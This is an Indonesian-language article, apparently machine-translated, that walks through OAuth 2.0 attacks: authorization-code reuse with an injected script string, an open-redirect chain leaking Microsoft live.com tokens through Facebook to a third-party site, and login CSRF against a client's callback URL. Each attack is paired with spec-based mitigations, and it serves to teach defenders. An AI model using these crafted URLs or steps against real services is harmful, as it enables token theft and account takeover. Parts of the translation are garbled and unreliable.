OAuth 2.0 Hacks yang paling umum

Ikhtisar OAuth 2

Artikel ini mengasumsikan bahwa pembaca sudah terbiasa dengan OAuth 2. Namun, di bawah deskripsi singkat disajikan di bawah ini.

1. Aplikasi meminta otorisasi untuk mengakses sumber daya layanan dari pengguna. Aplikasi perlu memberikan ID klien, rahasia klien, redirect URI dan cakupan yang diperlukan.
2. Jika pengguna mengotorisasi permintaan, aplikasi menerima hibah otorisasi
3. Aplikasi meminta token akses dari server otorisasi dengan menghadirkan otentikasi identitasnya sendiri, dan hibah otorisasi
4. Jika identitas aplikasi diautentikasi dan hibah otorisasi valid, server otorisasi mengeluarkan token akses dan penyegaran (jika diperlukan) ke aplikasi. Otorisasi selesai.
5. Aplikasi meminta sumber daya dari server sumber daya dan menyajikan token akses untuk otentikasi
6. Jika token akses valid, server sumber daya menyajikan sumber daya ke aplikasi

Berikut adalah beberapa Pro dan Kontra utama dalam OAuth 2.0

• OAuth 2.0 lebih mudah digunakan dan diimplementasikan (dibandingkan dengan OAuth 1.0)
• Menyebar luas dan terus tumbuh
• Token berumur pendek
• Token Terenkapsulasi

- Tidak ada tanda tangan (hanya bergantung pada SSL / TLS), Token Pembawa
- Tidak ada keamanan bawaan
- Dapat berbahaya jika digunakan dari orang yang tidak berpengalaman
- Terlalu banyak kompromi. Kelompok kerja tidak membuat keputusan yang jelas
- Integrasi seluler (tampilan web)
- Oauth 2.0 spec bukan protokol, itu lebih merupakan kerangka kerja - RFC 6749

Evaluasi Lebih Kritis

OAuth 2 Hacks

Kode otorisasi dapat digunakan lebih dari satu kali

Contoh serangan Google:

1. Daftarkan id klien
2. Dapatkan token otorisasi di titik akhir otorisasi ( https://accounts.google.com/o/oauth2/auth ) misalnya
3. Sekarang ubah kode otorisasi dari
   4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
   Untuk
   4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> dan minta akses token.
   Seperti yang dikatakan ini akan menjadi kode otorisasi yang valid dan token akses diterima karena fakta bahwa kode otorisasi adalah dalam bentuk TOKEN1.TOKEN2 dan hanya TOKEN1 yang divalidasi!
4. Memang meminta ulang token akses menggunakan kode otorisasi palsu yang sama (yaitu 4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> Kode otorisasi tidak lagi diterima karena kode otorisasi tidak lagi diterima. Yang menarik dari semua ini adalah bagaimana token endpoint menjawab kode otorisasi yang tidak lagi valid ini. Memang respons kesalahannya tampak seperti ini: Token Record:

 Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>" ... 

seperti yang Anda lihat output tidak dibersihkan.

Pelajaran yang dipelajari:

Klien TIDAK HARUS menggunakan kode otorisasi lebih dari sekali. Jika kode otorisasi digunakan lebih dari satu kali, server otorisasi HARUS menolak permintaan dan HARUS mencabut (jika mungkin) semua token yang sebelumnya dikeluarkan berdasarkan kode otorisasi itu.

Redirect URI tidak divalidasi

Sekarang mari kita asumsikan penyerang:

1. Mendaftarkan klien baru ke penyedia korban.
2. Mendaftarkan redirect URI seperti attacker.com.

Kemudian penyerang dapat membuat URI khusus dari formulir tersebut

 http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com 

Sekarang Anda mungkin berpendapat bahwa ini HANYA redirect terbuka dan tidak banyak yang dapat Anda lakukan dengan itu, kan?

Mari kita lihat contoh Microsoft dan Facebook:

Microsoft menggunakan lingkup OAuth khusus wli.contacts_emails yang hanya tersedia untuk aplikasi Facebook. Bagian yang menarik adalah bahwa pengguna tidak pernah diberi tahu bahwa aplikasi sedang mencoba mengakses data mereka dan izin diberikan secara diam-diam.

Anda dapat mencoba ini di sini (Anda harus masuk):

 https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F 

Jika Anda mencoba mengubah parameter redirect_uri #### Anda akan melihat bahwa token dikeluarkan ke URL apa pun dalam domain #### facebook.com. Jadi untuk membocorkan token OAuth ke pihak ketiga yang berbahaya, Open Redirect dalam domain #### facebook.com akan diperlukan. Karena Pengalihan Terbuka biasanya dianggap kerentanan tingkat keparahan yang rendah, maka tidak terlalu sulit untuk menemukannya. Untuk contoh ini kami akan menggunakan Pengalihan Terbuka dalam aliran otorisasi Facebook (dengan memberikan parameter lingkup #### yang tidak valid). Ini berfungsi seperti ini:

 https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com 

Jadi dengan menghubungkan kedua bug tersebut, kami dapat memperoleh token OAuth dari pengguna live.com. Contoh lengkapnya ada di sini:

 https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com 

Jika sekarang Anda memeriksa URL tujuan, Anda akan melihat bahwa token OAuth Microsoft dikirim ke situs web pihak ketiga tanpa persetujuan Anda. Contoh lain adalah pengalihan ke halaman rentan domain XSS, di mana skrip masih dapat mengakses token.

Pelajaran yang dipelajari:

1. Implementasi OAuth tidak boleh membuat daftar putih seluruh domain, hanya beberapa URL sehingga "redirect_uri" tidak dapat diarahkan ke Open Redirect. Pengembang juga harus berhati-hati ketika memberikan akses ke aplikasi secara diam-diam (menyetujui aplikasi secara manual mungkin tidak akan membuat pengalaman pengguna jauh lebih buruk).
   Metode validasi HANYA aman untuk redirect_uri server otorisasi harus mengadopsi pencocokan tepat

   
   

2. Jika pemilik sumber daya menolak permintaan akses atau jika permintaan gagal karena alasan selain URI redirection yang hilang atau tidak valid, server otorisasi memberi tahu klien dengan menambahkan parameter berikut ke komponen permintaan URI redirection menggunakan "application / x-www format-urlencoded "

   
   

3. Tanggapi dengan kode status HTTP 400 (Permintaan Buruk).

   
   

Permintaan pemalsuan lintas situs, Klien OAuth

Serangan CSRF terhadap pengalihan klien URI memungkinkan penyerang menyuntikkan kode otorisasi sendiri atau token akses mereka, yang dapat mengakibatkan klien menggunakan token akses yang terkait dengan sumber daya yang dilindungi penyerang daripada milik korban (misalnya menyimpan informasi rekening bank korban untuk sumber daya yang dilindungi yang dikendalikan oleh penyerang).

1. Pilih Klien yang sesuai dengan "kondisi" peretasan - beberapa site.com (kami akan menggunakan Pinterest sebagai peragaan) Mulai proses otentikasi - klik "Tambahkan info masuk Penyedia OAuth". Anda harus mendapatkan panggilan balik dari Penyedia tetapi tidak harus mengunjunginya.

   
   

2. Tidak mengunjungi Do untuk yang terakhir URL ( http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI# ), hanya menyimpan dan menempatkan IT img Ke src = "URL" atau iframe atau apapun jika tidak, Anda lebih suka mengirim permintaan.

   
   

1. Sekarang yang Anda butuhkan adalah membuat Pengguna (beberapa target atau pengguna situs.com acak) untuk mengirim permintaan HTTP pada URL panggilan balik Anda. Anda dapat memaksanya untuk mengunjungi example.com/somepage.html yang berisi iframe src = URL, pos img di dindingnya, kirim dia email / tweet, apa pun. Pengguna harus masuk ke site.com saat mengirim permintaan.
   Bagus sekali, akun asli Anda dilampirkan ke akun Pengguna di site.com.

   
   

2. Voila, tekan Masuk dengan Penyedia OAuth itu - Anda masuk langsung ke akun Pengguna di site.com

   
   

Pelajaran yang dipelajari:

Klien HARUS menerapkan perlindungan CSRF untuk pengalihan URI. Ini biasanya dilakukan dengan meminta permintaan apa pun yang dikirim ke titik akhir URI pengalihan untuk menyertakan nilai yang mengikat permintaan ke status otentikasi agen-pengguna (misalnya hash cookie sesi yang digunakan untuk otentikasi agen-pengguna). Klien HARUS memanfaatkan parameter permintaan "status" untuk mengirimkan nilai ini ke server otorisasi saat membuat permintaan otorisasi.

Setelah otorisasi diperoleh dari pengguna akhir, server otorisasi mengarahkan kembali agen pengguna pengguna kembali ke klien dengan nilai pengikatan yang diperlukan yang terkandung dalam parameter "state". Nilai penjilidan memungkinkan klien untuk memverifikasi validitas permintaan dengan mencocokkan nilai penjilidan dengan status agen-pengguna yang diautentikasi. Nilai mengikat yang digunakan untuk perlindungan CSRF HARUS mengandung nilai yang tidak dapat ditebak, dan status otentikasi agen-pengguna (mis. Cookie sesi, penyimpanan lokal HTML5) HARUS disimpan di lokasi yang hanya dapat diakses oleh klien dan agen-pengguna (yaitu, agen yang dilindungi) oleh kebijakan yang sama-asal).

Serangan CSRF terhadap titik akhir otorisasi server otorisasi dapat mengakibatkan penyerang mendapatkan otorisasi pengguna akhir untuk klien jahat tanpa melibatkan atau mengingatkan pengguna akhir.

Server otorisasi HARUS menerapkan perlindungan CSRF untuk titik akhir otorisasi, dan memastikan bahwa klien jahat tidak dapat memperoleh otorisasi tanpa kesadaran dan persetujuan eksplisit dari pemilik sumber daya.

Akses token bagian dari URI

Karena kelemahan keamanan yang terkait dengan metode URI, termasuk kemungkinan tinggi bahwa URL yang berisi token akses akan dicatat, itu TIDAK HARUS digunakan kecuali jika tidak mungkin untuk mengangkut token akses di bidang header permintaan "Otorisasi" permintaan atau Badan permintaan HTTP. Server sumber daya MUNGKIN mendukung metode ini.